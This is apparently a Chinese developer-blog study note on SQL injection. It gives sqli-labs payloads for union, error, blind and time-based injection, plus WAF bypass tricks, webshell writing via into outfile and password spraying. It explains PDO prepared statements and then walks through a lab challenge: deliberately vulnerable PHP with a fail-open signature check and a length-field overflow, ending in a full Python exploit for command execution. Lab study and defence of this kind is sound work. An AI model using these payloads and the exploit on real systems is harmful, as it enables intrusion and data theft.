SQL 注入的函数武器库

字符串截取系列:substr, substring, left, right, mid

长度与数值处理系列:length, ceil, floor

ascii():字符转码器

if(1=1,条件为真,条件为假):逻辑分支器

concat(str1, str2, ...):行内拼接器

group_concat(expr):跨行聚合器

查询当前状态

database():当前使用的数据库名

user():当前数据库连接用户

version():数据库版本

SQL 注入的“导航地图”

  information_schema 是一个虚拟数据库,它存储了关于所有其他数据库的元数据(例如库名、表名、字段名、访问权限等)。

1.SCHEMATA 表:库的索引

核心字段SCHEMA_NAME

注入应用:用于获取服务器上所有数据库的名称。

Payload 示例?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

2. TABLES 表:表的索引

核心字段TABLE_SCHEMA(所属库名), TABLE_NAME(表名)。

注入应用:在确定了目标库名后,通过指定 TABLE_SCHEMA 来查询该库下的所有表。

Payload 示例?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

3. COLUMNS 表:列的索引

核心字段TABLE_SCHEMA(库名), TABLE_NAME(表名), COLUMN_NAME(列名)。

注入应用:在确定了目标表名后,获取该表的所有字段名,为最后一步提取数据做准备。

Payload 示例?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--

探测与类型判定

1.寻找注入点

        观察 URL 参数(如 ?id=1)或 POST 表单提交位。

2.判断注入类型

数字型:输入 and 1=2,页面异常即存在漏洞。

字符型:输入单引号 ' 引起报错,或用 and 1=2 判断。

注释符的作用

--+-- :SQL标准注释。

#:MySQL特有注释。(post请求类型必用)

/**/:常用于绕过空格过滤。

目的:切断原脚本后续的 LIMIT 或引号,使我们的 Payload 生效。

3.判断列数(针对联表查询)

        使用 order by N。如果 order by 3 正常,order by 4 报错,说明有 3 列。

4.寻找回显位

        根据列数,使用 UNION SELECT 1,2,3看页面上显示的是哪个数字,那个数字对应的位置就是回显位。

注入类型

一、 基础注入类型

联合查询注入

        利用 UNION 操作符将恶意查询结果合并到原始查询中,前提是页面必须有直接的数据回显位。

sqli-labs 示例:

Less 1 :?id=-1' union select 1,2,database()--+

关键步骤:先用 order by 找列数,再用 union select 定位显示位。

报错注入

        通过构造特定函数(如 updatexmlfloor)故意引发数据库错误,使数据随错误信息一起显示出来。

sqli-labs 示例

Less 5:'and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+

补充:数据显示不全可结合limit使用,多行结果可用group_concat函数回显。

二、 盲注类型

当服务器不返回错误或数据,仅通过页面差异判断时使用。

布尔盲注

        利用 ANDOR 构造逻辑判断,根据页面返回的是“正常”还是“异常/缺失”来逐字符猜解。

sqli-labs 示例

Less 8:

探测示例?id=1' and length(database())=8--+

猜解字符?id=1' and ascii(substr(database(),1,1))=115--+

时间盲注

        利用 IFSLEEP 函数,如果条件成立则触发延迟,以此判断数据内容。

sqli-labs 示例:

Less 9:

通用 Payload?id=1' and if(1=1, sleep(3), 1)--+

三、 进阶与特殊注入

二次注入 

        第一步将带有引号的恶意数据存入数据库(此时被转义,安全);

        第二步应用调用该存储数据拼接 SQL 语句时,转义失效触发注入。

sqli-labs 示例Less 24 (二次注入修改管理员密码)。

宽字节注入 

        针对 GBK 编码,在单引号前加入 %df,使其与转义符 \ (%5c) 结合成汉字%df%5c(运),从而让引号逃逸。

sqli-labs 示例Less 32 - Less 36

        技巧?id=1%df' union select...

into outfile 注入

三个前提条件:

1、身份必须为root权限

2:必须知道网站的实际物理地址也就是 D:/php/www/sql/webshell.php

3: secure_file_priv 必须为空,需要在my.cnf下修改这个是设置导出文件路径的。

然后我们需要用outfile函数,将一段php代码写入到一个php脚本文件中并导出到网站上级目录下。

sqli-labs 示例Less 17。

 堆叠注入

        利用分号 `;` 同时执行多条 SQL 语句。不仅能查询,还能执行 `UPDATE`、`DROP` 等操作。
sqli-labs 示例:Less 38 - Less 41。

sql绕过技巧

1. 字符与符号

目标 绕过技巧 补充要点
空格 /**/%0a(换行)、%0b+括号包裹、单引号 在某些环境中,%a0(不换行空格)也能奇效。
引号 十六进制 (0x...)CHAR() 函数 WHERE user = CHAR(97,100,109,105,110) 等同于 admin
逗号 JOIN 联表、LIMIT 1 OFFSET 0MID(str FROM 1 FOR 1) MIDSUBSTR 都有 FROM...FOR 语法,完美避开逗号。
比较符 GREATEST()LEAST()BETWEEN GREATEST(a,b) 返回较大值,可用于二分查找判断 ASCII 码。

2. 逻辑操作符的等价替换

WAF 通常会死盯 SELECTUNIONANDOR

逻辑符

  • AND $\rightarrow$ &&

  • OR $\rightarrow$ ||

  • XOR $\rightarrow$ ^ (异或)

  • NOT $\rightarrow$ !

关键字变形

  • 大小写混淆SeLeCt(针对规则不严的旧 WAF)。

  • 双写绕过selselectect(针对只删除一次关键字的过滤逻辑)。

  • 内联注释(MySQL特有)/*!50000Select*/。这表示如果数据库版本高于 5.0.0.0,则执行 Select。

3.盲注中的高级绕过:LIKE 与正则

LIKE 绕过,在布尔盲注中极具杀伤力。

LIKE 模式匹配:使用 %(通配符)或 _(单个占位符)。

REGEXP 正则匹配select user regexp '^r'

        优点:比 LIKE 更强大,可以匹配复杂的字符串规则,且常被忽略。

INSTR()LOCATE()

  IF(INSTR(database(),'s'), sleep(5), 1)。如果库名包含 's',返回其位置(非0即真),从而触发延迟。

https://regex101.com/

https://jex.im/regulex/

正则表达式回溯绕过:

因为回溯的限制为1000000个字符,所以我们在我们输入的字符串的后面加上1000000个字符就可以使正则无效,而且不影响正文地绕过。

补充:缓冲区溢出与特殊编码

十六进制/URL双重编码

        有些 WAF 只解码一次。尝试将 % 编码为 %25,例如 %2527(双重编码后的单引号)。

超长字符串溢出

        构造极长的无用参数(如 &a=aaaa... 连续几千个),某些 WAF 为了性能会跳过后续内容的检查,此时将 Payload 放在最后即可。

反引号 (`) 绕过

        在 MySQL 中,反引号用于包裹标识符(表名、列名)。如果 users 被过滤,尝试使用 `users`

perg_match()函数绕过:

这个函数只检查字符串,提供一个只有一个字符串的数组即可绕过。

渗透实战策略:信息收集与密码喷洒

1. 信息收集

利用工具对渗透网站进行信息收集

2. 密码喷洒 vs 暴力破解

暴力破解:死磕一个用户,尝试 10000 个密码(易触发布控,被封 IP)。

密码喷洒:死磕一个弱密码(如 123456),尝试 10000 个用户名(如 admin, root, zhangwei)。

喷洒优势:每个用户只错一次,极大概率绕过账户锁定的风控机制。

自动化与效率优化

针对盲注:

1.BP 爆破

2.Python 暴力破解

3.Python 二分查找

sql预防:

预编译(PDO)

        在 SQL 注入的逻辑里,我们是把攻击代码伪装成数据传进去;而预编译则像是一个模具,它先定死 SQL 语句的结构,后续传进去的任何东西,都只会被当作“纯文字”处理。它的核心思想非常简单:“把代码和数据分开”。

1、虚假预编译:只是高级点的“字符串拼接”

这是许多 Web 环境(如 PHP 的 PDO 默认配置)为了性能或兼容性采取的方案。
 

<?php
$username = $_POST['username'];

$db = new PDO("mysql:host=localhost;dbname=test", "root", "root123");

$stmt = $db->prepare("SELECT password FROM test where username= :username");

$stmt->bindParam(':username', $username);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

var_dump($result);

$db = null;

?>

工作机制:PHP 在本地(客户端)先将 SQL 模板和参数拿到,然后根据设置的字符集,自动给参数加上单引号并对内部的敏感字符进行转义。最后,把拼好的完整 SQL 语句发给数据库。

本质:它没有改变 SQL 执行的逻辑,只是把手动 addslashes 的活儿交给了 PDO 驱动自动完成。

风险点

  • 宽字节注入:如果字符集设置不当(如使用了 SET NAMES gbk 而不是在 DSN 连接串中指定),%df 依然可以吞掉自动加上的转义符。

  • 非参数化位:由于它本质还是拼接,对于 ORDER BY 或表名位置,它依然无能为力。

2. 真实预编译:逻辑与数据的“物理隔离”

这才是数据库层面的原生支持,也是防御 SQL 注入的终极手段。

<?php
$username = $_POST['username'];

$db = new PDO("mysql:host=localhost;dbname=test", "root", "root123");
$db -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$stmt = $db->prepare("SELECT password FROM test where username= :username");

$stmt->bindParam(':username', $username);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

var_dump($result);

$db = null;

?>

执行顺序(底层三步走)

  1. 建立连接 (Connect):客户端与数据库握手。

  2. 构建语法树 (Prepare):数据库收到带有 ? 占位符的语句,进行词法解析、语法分析。此时,SQL 语句的结构(干什么)已经定死了。

  3. 执行 (Execute):客户端发送参数(数据是什么),数据库将参数填入语法树的槽位中运行。

核心优势

  • 数据永远是数据:参数里的任何引号、注释符、OR 1=1 都会被当作普通的“文本值”,绝对不会被当作 SQL 指令解析。

  • 性能:如果执行 1000 次相同的查询,数据库只需构建 1 次语法树,效率极高。

order by || group by:

        因为order by 如果后面的参数跟了引号,order by会失效,即order by的参数是不能被参数化的。

如果允许预编译绑定列名或表名,那么SQL结构部分会影响查询计划,比如下面的代码

$stmt = $db->prepare("SELECT * FROM users ORDER BY :column");
$stmt->bindParam(':column', $column);
$stmt->execute();

        首先,这样的写法会导致查询优化失败,数据库的查询优化器在预编译阶段无法确定 ORDER BY :column 具体会如何执行,不同列索引可能导致不同的查询计划,其次这样会导致无法复用执行计划,如果 :column 可能是 idusernameemail,不同列的索引和排序方式不同,数据库必须为每个不同的列生成新的执行计划,失去了预编译的优势,因此预编译绑定的值始终是数据值,不会影响 SQL 结构。

        实际上order by和group by的地方是固定的,并不会被传值。

pgsql预编译溢出注入

index.php

<?php
$Secret_key = "Fidy66rEB65mnE5UbPyEsgMxmmhdNebU";
//pdo 绕过的 不可用的地方 在order by 如果在pdo框架下 有order by 用户可控 有可能产生 注入
function checkSignature($signature)
{
    try {
        $decoded = base64_decode($signature, true);
        if ($decoded === false) {
            throw new Exception("Invalid base64 encoding");
        }
        global $Secret_key;
        return $decoded === $Secret_key;
    } catch (Exception $e) {
        echo $e->getMessage() . PHP_EOL;
    }
}

function verifySignature($headers)
{
    if (!isset($headers['X-Signature'])) {
        return false;
    }
    $validSignature = $headers['X-Signature'];
    if (checkSignature($validSignature) === false) {
        return false;
    }
    return true;
}

if (!verifySignature(getallheaders())) {
    http_response_code(403);
?>
    <div style="
        margin: 50px auto;
        padding: 20px;
        max-width: 600px;
        background-color: #ffe6e6;
        color: #a94442;
        border: 1px solid #f5c6cb;
        border-left: 5px solid #d9534f;
        border-radius: 8px;
        font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        box-shadow: 0 0 10px rgba(0,0,0,0.1);
        ">
        <h2>⚠️ 签名验证失败</h2>
        <p>您的请求未通过验证,可能存在伪造行为或签名错误。</p>
    </div>
<?php
    exit;
}
// 1 未授权问题 fail-open
function base64url_encode($data)
{
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function encrypt($data, $key)
{
    $method = 'AES-256-CBC';
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
    return base64url_encode($iv . $encrypted);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $function = $_POST['function'] ?? '';
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['SERVER_ADDR'];
    $baseUrl = $protocol . '://' . $host;

    $data = '';
    if ($function === 'A') {
        $command = 'date';
        // TYPE   LENGTH     VALUE
        //   A         4       DATE
        // 41000a323433
        $data = bin2hex('A' . pack('n', strlen($command)) . $command);
    } elseif ($function === 'B') {
        //可控点 他有检测日期的函数
        //type length      value 
        // b              date用户可控
        // length 可以溢出
        // B   LENGTH   DATE
        //      10      2024-03-03 A length value  + A
        // //
        // B  10 4242322A0006dadsadasdAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        // date=2024-03-03   + 65536 = 65546
        // 你需要再B的type里 走私一个A
        //
        // B
        $date = $_POST['date'] ?? '';
        $command = $date;
        $data = bin2hex('B' . pack('n', strlen($command)) . $command);
    } elseif ($function === 'C') {
        $weekdate = $_POST['weekdate'] ?? '';
        $timestamp = strtotime($weekdate);
        if ($timestamp === false) {
            $result = '<div class="result"><h3>执行结果:</h3><pre>无效的日期格式</pre></div>';
        } else {
            $monday = strtotime('last monday', $timestamp);
            if (date('N', $timestamp) == 1) $monday = $timestamp;
            $combined = '';
            for ($i = 0; $i < 7; $i++) {
                $day = date('Y-m-d', strtotime("+$i day", $monday));
                $command = $day;
                $combined .= 'B' . pack('n', strlen($command)) . $command;
            }
            $data = bin2hex($combined);
        }
    }

    if (!empty($data)) {
        $encryptedSource = encrypt('index.php', $Secret_key);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $baseUrl . '/ez_inject/execute.php');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'X-Source: ' . $encryptedSource,
            'Content-Type: application/octet-stream'
        ]);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, hex2bin($data));
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);

        $response = curl_exec($ch);
        $error = curl_error($ch);
        curl_close($ch);

        $result = $error
            ? '<div class="result"><h3>执行结果:</h3><pre>请求失败: ' . htmlspecialchars($error) . '</pre></div>'
            : '<div class="result"><h3>执行结果:</h3><pre>' . $response . '</pre></div>';
    }
}
?>
<!DOCTYPE html>
<html>

<head>
    <title>功能选择</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
        }

        .container {
            display: flex;
            flex-direction: column;
            gap: 20px;
        }

        .function {
            border: 1px solid #ddd;
            padding: 20px;
            border-radius: 5px;
        }

        input[type="text"] {
            padding: 8px;
            margin: 5px 0;
            width: 200px;
        }

        button {
            padding: 8px 16px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        button:hover {
            background-color: #45a049;
        }

        .result {
            margin-top: 20px;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
            background-color: #f9f9f9;
        }
    </style>
</head>

<body>
    <div class="container">
        <h1>功能选择</h1>

        <div class="function">
            <h2>当前系统时间</h2>
            <form method="post">
                <input type="hidden" name="function" value="A">
                <button type="submit">执行</button>
            </form>
        </div>

        <div class="function">
            <h2>解析指定日期</h2>
            <form method="post" onsubmit="return validateDate(this.date.value);">
                <input type="hidden" name="function" value="B">
                <input type="text" name="date" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
                <button type="submit">执行</button>
            </form>
        </div>

        <div class="function">
            <h2>解析某日期所在周的每天</h2>
            <form method="post" onsubmit="return validateDate(this.weekdate.value);">
                <input type="hidden" name="function" value="C">
                <input type="text" name="weekdate" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
                <button type="submit">执行</button>
            </form>
        </div>

        <script>
            function validateDate(dateStr) {
                const regex = /^\d{4}-\d{2}-\d{2}$/;
                if (!regex.test(dateStr)) {
                    alert("请输入正确的日期格式:YYYY-MM-DD");
                    return false;
                }
                return true;
            }
        </script>

        <?php if (isset($result)): ?>
            <?php echo $result; ?>
        <?php endif; ?>
    </div>
</body>

</html>

execute.php

<?php
$Secret_key = "Fidy66rEB65mnE5UbPyEsgMxmmhdNebU";
//pdo 绕过的 不可用的地方 在order by 如果在pdo框架下 有order by 用户可控 有可能产生 注入
function checkSignature($signature)
{
    try {
        $decoded = base64_decode($signature, true);
        if ($decoded === false) {
            throw new Exception("Invalid base64 encoding");
        }
        global $Secret_key;
        return $decoded === $Secret_key;
    } catch (Exception $e) {
        echo $e->getMessage() . PHP_EOL;
    }
}

function verifySignature($headers)
{
    if (!isset($headers['X-Signature'])) {
        return false;
    }
    $validSignature = $headers['X-Signature'];
    if (checkSignature($validSignature) === false) {
        return false;
    }
    return true;
}

if (!verifySignature(getallheaders())) {
    http_response_code(403);
?>
    <div style="
        margin: 50px auto;
        padding: 20px;
        max-width: 600px;
        background-color: #ffe6e6;
        color: #a94442;
        border: 1px solid #f5c6cb;
        border-left: 5px solid #d9534f;
        border-radius: 8px;
        font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        box-shadow: 0 0 10px rgba(0,0,0,0.1);
        ">
        <h2>⚠️ 签名验证失败</h2>
        <p>您的请求未通过验证,可能存在伪造行为或签名错误。</p>
    </div>
<?php
    exit;
}
// 1 未授权问题 fail-open
function base64url_encode($data)
{
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function encrypt($data, $key)
{
    $method = 'AES-256-CBC';
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
    return base64url_encode($iv . $encrypted);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $function = $_POST['function'] ?? '';
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['SERVER_ADDR'];
    $baseUrl = $protocol . '://' . $host;

    $data = '';
    if ($function === 'A') {
        $command = 'date';
        // TYPE   LENGTH     VALUE
        //   A         4       DATE
        // 41000a323433
        $data = bin2hex('A' . pack('n', strlen($command)) . $command);
    } elseif ($function === 'B') {
        //可控点 他有检测日期的函数
        //type length      value 
        // b              date用户可控
        // length 可以溢出
        // B   LENGTH   DATE
        //      10      2024-03-03 A length value  + A
        // //
        // B  10 4242322A0006dadsadasdAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        // date=2024-03-03   + 65536 = 65546
        // 你需要再B的type里 走私一个A
        //
        // B
        $date = $_POST['date'] ?? '';
        $command = $date;
        $data = bin2hex('B' . pack('n', strlen($command)) . $command);
    } elseif ($function === 'C') {
        $weekdate = $_POST['weekdate'] ?? '';
        $timestamp = strtotime($weekdate);
        if ($timestamp === false) {
            $result = '<div class="result"><h3>执行结果:</h3><pre>无效的日期格式</pre></div>';
        } else {
            $monday = strtotime('last monday', $timestamp);
            if (date('N', $timestamp) == 1) $monday = $timestamp;
            $combined = '';
            for ($i = 0; $i < 7; $i++) {
                $day = date('Y-m-d', strtotime("+$i day", $monday));
                $command = $day;
                $combined .= 'B' . pack('n', strlen($command)) . $command;
            }
            $data = bin2hex($combined);
        }
    }

    if (!empty($data)) {
        $encryptedSource = encrypt('index.php', $Secret_key);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $baseUrl . '/demo/ez_inject/execute.php');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'X-Source: ' . $encryptedSource,
            'Content-Type: application/octet-stream'
        ]);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, hex2bin($data));
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);

        $response = curl_exec($ch);
        $error = curl_error($ch);
        curl_close($ch);

        $result = $error
            ? '<div class="result"><h3>执行结果:</h3><pre>请求失败: ' . htmlspecialchars($error) . '</pre></div>'
            : '<div class="result"><h3>执行结果:</h3><pre>' . $response . '</pre></div>';
    }
}
?>
<!DOCTYPE html>
<html>

<head>
    <title>功能选择</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
        }

        .container {
            display: flex;
            flex-direction: column;
            gap: 20px;
        }

        .function {
            border: 1px solid #ddd;
            padding: 20px;
            border-radius: 5px;
        }

        input[type="text"] {
            padding: 8px;
            margin: 5px 0;
            width: 200px;
        }

        button {
            padding: 8px 16px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        button:hover {
            background-color: #45a049;
        }

        .result {
            margin-top: 20px;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
            background-color: #f9f9f9;
        }
    </style>
</head>

<body>
    <div class="container">
        <h1>功能选择</h1>

        <div class="function">
            <h2>当前系统时间</h2>
            <form method="post">
                <input type="hidden" name="function" value="A">
                <button type="submit">执行</button>
            </form>
        </div>

        <div class="function">
            <h2>解析指定日期</h2>
            <form method="post" onsubmit="return validateDate(this.date.value);">
                <input type="hidden" name="function" value="B">
                <input type="text" name="date" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
                <button type="submit">执行</button>
            </form>
        </div>

        <div class="function">
            <h2>解析某日期所在周的每天</h2>
            <form method="post" onsubmit="return validateDate(this.weekdate.value);">
                <input type="hidden" name="function" value="C">
                <input type="text" name="weekdate" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
                <button type="submit">执行</button>
            </form>
        </div>

        <script>
            function validateDate(dateStr) {
                const regex = /^\d{4}-\d{2}-\d{2}$/;
                if (!regex.test(dateStr)) {
                    alert("请输入正确的日期格式:YYYY-MM-DD");
                    return false;
                }
                return true;
            }
        </script>

        <?php if (isset($result)): ?>
            <?php echo $result; ?>
        <?php endif; ?>
    </div>
</body>

</html>

访问index.php

我们观察底层代码

        这里的 checkSignature 函数以及 verifySignature 函数的验证配合存在一个严重的逻辑缺陷,checkSignature 只是在能正常解码的时候把签名和 $Secret_Key 进行比较,返回真或者假,而 verifySignature 只有在 checkSignature 返回假的时候才退出,否则默认返回真,那么这里我们其实只需要构造一个错误的base64编码,比如@@@,让 checkSignature 解码错误,那么该函数就会抛出错误,不会返回任何东西,自然也不会返回假,verifySignature 也能正常通过,这里是fail-open漏洞

fail-open 问题,是指当程序出现故障(如鉴权失败、抛出报错等)时,流程并没有终止,而是继续运行,导致漏洞产生的现象。

添加X-Signature字段,构造一个错误的base64编码,放行数据包

虽然有Invalid base64 encoding提示错误,但是我们还是进来了

接下来我们再次观察底层代码

        这里index.php和execute.php通过构造的二进制协议进行传输,构造逻辑是标志字段+命令长度+实际命令。

        在 index.php 中,代码会构造一个简单的二进制协议包发送给 execute.php,当执行 function=A 时,会直接给出当前时间,没有可控点。B有可控点但当 function=B 时,但是B包会被校验拦截

        又因为发送的长度字段是直接 len 的载荷,虽然我们的命令不符合日期可能不能直接执行,但我们现在确实能直接控制长度字段的长度。回看这个协议,这个 pack('n', strlen($command)) 其实是获取 $command 这段字符串的长度接着按照 16 位(2 字节)无符号整数打包成二进制数据。

        假设日期为2012-12-11,那么16 位length部分就为 000a,我们可以在2012-12-11后面加10个A,那么长度就变为0014了,也就是20,而 16 位无符号整数其实有上限的,它的上限就是 ffff,如果我们再给它加 1,它就会变成 10000,而经过 16 位的截断,实际上写入协议的长度就变成了 0000。我们不妨做个实验,16 位无符号整数的最大值是 65535,而本来的载荷 2012-12-11 的长度是 10,理论上我们只要再在 2012-12-11 的后面加 65526 个 A,那么现在写入协议的长度字段就应该变成 0000,而事实也正如我们所愿,它变成了 0000。

整理一下:

如果你发送的 $date 长度刚好达到 65546 字节:

  1. strlen($command) = 65546。

  2. pack('n', 65546) 会发生溢出。由于 65546 (mod 65536)= 10,包头里的长度字段会被错误地写为 10。

  3. execute.php 解析时,只读取前 10 个字节作为日期,剩下的 65536 个字节会被当作 下一个协议包 处理。

        那么思路其实已经很明显了,因为只有标头为 A 的二进制协议才能正常执行,那么我们只需要构造一个标头为 A 的可以执行命令的二进制协议,将他放在 2012-12-11 的后面,然后填充 A,保证第一个协议截断后恰好是一个合法的以 A 开头的协议,那么就会成功解析我们的协议并且执行任意命令了。

python脚本如下

import http.client
import struct
import gzip
import io
import base64
import requests

# 构造头部用到的签名
x_signature = "@@@"


# TYPE  length  value
# A      xxx
def build_packet(command: str) -> str:
    prefix = b"A"
    length = struct.pack(">H", len(command))
    payload = command.encode()
    full_packet = prefix + length + payload
    return full_packet.hex()


# command2execute = "find / -perm -u=s -type f 2>/dev/null"
# command2execute = "date -f /f* 2>&1"
# command2execute = "cat /f* 2>&1"
# command2execute = "ls -al /"

command = (
    "cmd.exe /c dir"
)
HexCommand = build_packet(command)
# print(HexCommand)

hex_part = bytes.fromhex(HexCommand)
prefix = "function=B&date=2012-12-11"
prefix_bytes = prefix.encode()

total_length = 65536

filler_len = total_length - len(hex_part)

# 构造请求体:前缀 + 协议包 + 填充
body = prefix_bytes + hex_part + b"A" * filler_len

# target_url = "http://192.168.68.129/ez_inject/index.php"
# target_url = "http://192.168.68.174/index.php"
target_url = "http://192.168.2.106/ez_inject/index.php"


# 构造 headers
headers = {
    "X-Signature": x_signature,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": str(len(body)),
}

# 发起请求
# conn = http.client.HTTPConnection(target_url)
res = requests.post(url=target_url, data=body, headers=headers)
print(res.text)
# print(res.content.decode(errors="ignore"))
# print("status:", res.status_code)
# print("len:", len(res.content))
# print(res.content[:200])
# print(res.content.decode("utf-8", errors="ignore"))

启发:PDO预编译有个明显的缺陷:可以消除sql歧义,但是无法真正的消除sql注入。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐